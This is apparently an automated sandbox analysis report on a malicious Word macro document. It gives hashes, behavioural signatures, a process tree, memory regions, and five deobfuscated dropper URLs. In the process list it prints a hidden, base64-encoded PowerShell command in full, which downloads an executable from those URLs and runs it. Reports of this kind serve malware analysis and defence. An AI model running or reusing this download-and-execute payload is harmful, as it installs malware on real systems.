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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    21/11/2024, 00:58

General

  • Target

    d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc

  • Size

    113KB

  • MD5

    ed2b42212cd661d7495a079f56418d0c

  • SHA1

    6c9e3473cd1bf4e8d4d4f41c111fe1fc8c0afa35

  • SHA256

    d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c

  • SHA512

    5370aa5a2d187b7fe870008e9a753d692583a14a719f20afe9ca37b0b3ba54fef7e86bb23937aba51e9857742e39c57dd5bd8b261f1c10b5e46cc03fae960f62

  • SSDEEP

    1536:bw9kKPubsYwKjtrzu5rGBmRoHynvwMMITLxQOa5tzLEOTsPfxIdxrtgA:0+KgdzSrGYKyIwLx3a4OTsnxA9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://sinergica.es/wp-admin/wKzoXKb/

exe.dropper

http://anselton.com/cgi-bin/vEmYPW/

exe.dropper

http://megaone.ir/mukcrl/OljlRgz/

exe.dropper

http://design.jmcnet.com/wp-includes/a2pp6-uvy09ezl-9235065556/

exe.dropper

https://www.espacoestela.com/6l943im/cZlyyCT/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1900
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABLAGwAbwB5AGwAZABzAHUAPQAnAE0AcwBiAGUAaQBnAGQAZAB2AGQAawBwAGoAJwA7ACQARQBvAHUAZgBjAHIAcgByAHMAaQAgAD0AIAAnADQANgAzACcAOwAkAFYAbQBqAHkAdgBrAGUAZABhAG0AegB0AD0AJwBVAHkAYwBoAGMAYgBlAHgAagBsAG8AbwAnADsAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAbwB1AGYAYwByAHIAcgBzAGkAKwAnAC4AZQB4AGUAJwA7ACQAVAB1AGMAYwBoAHUAaQBnAGwAbAA9ACcATwB5AGUAdwBoAGsAagBjACcAOwAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAG4AVAA7ACQAQwB4AHYAYQBrAGYAbgBpAHAAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGkAbgBlAHIAZwBpAGMAYQAuAGUAcwAvAHcAcAAtAGEAZABtAGkAbgAvAHcASwB6AG8AWABLAGIALwAqAGgAdAB0AHAAOgAvAC8AYQBuAHMAZQBsAHQAbwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgBFAG0AWQBQAFcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBvAG4AZQAuAGkAcgAvAG0AdQBrAGMAcgBsAC8ATwBsAGoAbABSAGcAegAvACoAaAB0AHQAcAA6AC8ALwBkAGUAcwBpAGcAbgAuAGoAbQBjAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBhADIAcABwADYALQB1AHYAeQAwADkAZQB6AGwALQA5ADIAMwA1ADAANgA1ADUANQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAHMAcABhAGMAbwBlAHMAdABlAGwAYQAuAGMAbwBtAC8ANgBsADkANAAzAGkAbQAvAGMAWgBsAHkAeQBDAFQALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAJwAqACcAKQA7ACQATQBjAGoAcABuAHgAZAB5AGsAaAA9ACcASgBmAGsAdwBsAGEAawBvAG4AcgBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACAAaQBuACAAJABDAHgAdgBhAGsAZgBuAGkAcAApAHsAdAByAHkAewAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAAuACIARABvAHcAbgBgAEwATwBBAGQAZgBgAEkAbABFACIAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACwAIAAkAE8AdAB1AGgAawB5AG4AcgBnAHcAbgApADsAJABUAG0AZQBkAGUAbABlAGgAaQA9ACcAUwBoAGsAZABuAGEAcwBlAHgAbwB5AGwAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4AKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAyADgANAA3ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGAAQQByAFQAIgAoACQATwB0AHUAaABrAHkAbgByAGcAdwBuACkAOwAkAFMAdQB5AHYAdgBqAGMAaABkAHEAPQAnAEMAbABuAGMAeABrAGQAcwBzACcAOwBiAHIAZQBhAGsAOwAkAFoAcgBvAHYAcAByAHYAYgB0AGUAPQAnAEoAaQBtAGYAagBxAHoAZwBtAHQAdABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYgBiAGkAaABxAHMAagB6AGUAPQAnAE0AcABpAHAAYQBjAGcAcwBkAHUAawAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2900

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C76401FF.wmf

      Filesize

      444B

      MD5

      58a226a2c92c7fd29b174da65260d6fb

      SHA1

      b071f0dfebd91ea93afb7e95cb6fc37a3678332d

      SHA256

      adf443147c1fc3d1fee95462a2ce0248c428448a99cdee66aeffba63f62e309b

      SHA512

      1a3de9f5f051174c88b3243fbfa79ba068b0df6859e9f9c4034eba94386fd73b6f25a758c88d926c22c76d47bb4f04e4bb0f16e831615045ee3c24f8137d9080

    • memory/1988-20-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-18-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-6-0x00000000063B0000-0x00000000064B0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1988-13-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-15-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-14-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-16-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-22-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-0-0x000000002F301000-0x000000002F302000-memory.dmp

      Filesize

      4KB

    • memory/1988-2-0x0000000070FED000-0x0000000070FF8000-memory.dmp

      Filesize

      44KB

    • memory/1988-17-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-19-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-26-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-24-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-23-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-42-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-41-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1988-40-0x0000000070FED000-0x0000000070FF8000-memory.dmp

      Filesize

      44KB

    • memory/2900-33-0x0000000001D10000-0x0000000001D18000-memory.dmp

      Filesize

      32KB

    • memory/2900-32-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

      Filesize

      2.9MB